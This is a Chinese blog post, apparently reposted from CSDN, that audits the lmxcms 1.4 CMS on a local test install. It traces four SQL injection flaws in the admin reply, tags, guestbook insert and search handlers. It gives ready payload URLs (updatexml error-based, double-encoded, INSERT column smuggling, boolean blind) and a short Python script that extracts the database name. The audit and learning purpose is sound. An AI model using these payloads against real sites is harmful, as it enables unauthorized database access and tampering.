码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • lmxcms1.4


    环境准备

    PHP5.4.45

    lmxcms下载_梦想cms(lmxcms)

    进来后先安装

    该框架漏洞在cnvd可以找到很多

    代码审计

    sql注入

    后台

    基本流程:getReply->parent::selectModel->parent::selectDB->sql

    c/admin/BookAction.class.php下存在一处sql查询

    在这里插入图片描述

    这里跟进查询

    到db.class.php

    在这里插入图片描述

    在封装的selectDB方法下

    在这里添加一句echo $sql;

    在这里插入图片描述

    注意闭合符号

    在这里插入图片描述

    url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

    在这里插入图片描述

    前台

    TagsAction.class.php

    基本流程:getNameData->parent::oneModel->parent::oneDB->sql

    接着是

    在这里插入图片描述

    这里封装的p函数

    可以看到之类有sql的过滤

    在这里插入图片描述

    同理,在oneDB下加上echo $sql;

    在这里插入图片描述

    这里可以用单引号来闭合,但是会转义

    注意到源码

    在这里插入图片描述

    那就来二次编码

    在这里插入图片描述

    可以看到执行成功

    SELECT * FROM lmx_tags  WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#'    limit 1sql语句有误XPATH syntax error: '~5.7.26'
    
    • 1

    BookAction.class.php

    checkData函数

    在这里插入图片描述

    基本流程:checkData->index::add->parent::addModel->parent::adddDB

    老样子,打上输出语句

    将需要的参数都添加上

    在这里插入图片描述

    这里是个insert语句

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1
    
    • 1

    这里看下数据库

    在这里插入图片描述

    我们的数据已经插入

    还应该注意一个参数

    ischeck=1,可回显,也就是可见

    ischeck=0,就是不可见

    SerchAction.class.php

    基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql

    ?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23
    
    • 1

    在这里插入图片描述

    说明第一个字母是l

    可以修改下源码的编码方式继续注入

    也可以通过Lxxx师傅的脚本

    import requests
    
    url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
    ans = ""
    
    for i in range(1, 7):
        for j in range(97, 97+26):
            surl = url.format(i, hex(j))
            res = requests.get(surl)
            if len(res.text) > 6000:
                ans += chr(j)
                print(ans)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    一篇很久之前的文章,如有错误欢迎指出

  • 相关阅读:
    算法详解——贪心算法
    .net6 WebApi 如何将变量注入到控制器 以及配置文件的读取
    Python大数据教程:Kerberos是如何做身份认证的?
    如何检测出你们安装的依赖是否安全
    Hadoop3:HDFS-查看logs文件,排查NameNode故障原因。
    Python之时间模块和随机模块
    Java入门第108课——使用contains方法判断集合中是否包含某元素
    【Java面试】Mysql为什么使用B+Tree作为索引结构
    【CSS】QQ邮箱布局,词典四列布局,行内布局
    树莓派 开机启动
  • 原文地址:https://blog.csdn.net/m0_52367015/article/details/126005812
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号